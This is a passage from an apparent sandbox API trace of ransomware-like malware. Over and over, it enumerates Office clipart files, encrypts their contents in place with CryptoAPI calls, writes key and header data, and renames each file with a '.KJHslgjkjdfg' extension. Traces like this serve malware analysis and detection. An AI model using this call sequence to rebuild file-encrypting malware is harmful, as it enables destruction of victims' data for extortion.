phKey=0x4dff274*=0x2f182c8) returned 1 [0196.655] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.655] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1efc, lpOverlapped=0x0) returned 1 [0196.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f00, dwBufLen=0x1f00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f00) returned 1 [0196.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.656] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f00, lpOverlapped=0x0) returned 1 [0196.656] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.656] SetEndOfFile (hFile=0x130) returned 1 [0196.658] GetProcessHeap () returned 0x2ef0000 [0196.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.658] GetProcessHeap () returned 0x2ef0000 [0196.658] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.kjhslgjkjdfg")) returned 1 [0196.659] CloseHandle (hObject=0x130) returned 1 [0196.659] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0196.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.660] GetProcessHeap () returned 0x2ef0000 [0196.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.661] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.661] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.661] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.661] GetProcessHeap () returned 0x2ef0000 [0196.661] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.661] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.661] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.661] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.663] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.663] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.663] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.663] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15b0, lpOverlapped=0x0) returned 1 [0196.664] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15b0) returned 1 [0196.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.664] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15b0, lpOverlapped=0x0) returned 1 [0196.664] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.664] SetEndOfFile (hFile=0x130) returned 1 [0196.667] GetProcessHeap () returned 0x2ef0000 [0196.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.667] GetProcessHeap () returned 0x2ef0000 [0196.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.kjhslgjkjdfg")) returned 1 [0196.667] CloseHandle (hObject=0x130) returned 1 [0196.668] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0196.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.669] GetProcessHeap () returned 0x2ef0000 [0196.669] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.669] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0196.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.671] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.671] GetProcessHeap () returned 0x2ef0000 [0196.671] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.671] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.671] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.671] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.671] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.671] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.671] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.671] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.671] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.671] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x136a, lpOverlapped=0x0) returned 1 [0196.672] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0196.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.672] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0196.672] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.673] SetEndOfFile (hFile=0x130) returned 1 [0196.675] GetProcessHeap () returned 0x2ef0000 [0196.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.675] GetProcessHeap () returned 0x2ef0000 [0196.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.kjhslgjkjdfg")) returned 1 [0196.676] CloseHandle (hObject=0x130) returned 1 [0196.676] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0196.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.676] GetProcessHeap () returned 0x2ef0000 [0196.676] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.676] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0196.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.678] GetProcessHeap () returned 0x2ef0000 [0196.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.678] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.679] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc0a, lpOverlapped=0x0) returned 1 [0196.679] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc10, dwBufLen=0xc10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc10) returned 1 [0196.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.679] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc10, lpOverlapped=0x0) returned 1 [0196.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.679] SetEndOfFile (hFile=0x130) returned 1 [0196.681] GetProcessHeap () returned 0x2ef0000 [0196.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.681] GetProcessHeap () returned 0x2ef0000 [0196.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.kjhslgjkjdfg")) returned 1 [0196.682] CloseHandle (hObject=0x130) returned 1 [0196.682] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0196.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.685] GetProcessHeap () returned 0x2ef0000 [0196.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.685] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.687] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.687] GetProcessHeap () returned 0x2ef0000 [0196.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.687] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.687] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.687] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.688] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b04, lpOverlapped=0x0) returned 1 [0196.688] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b10) returned 1 [0196.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.689] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b10, 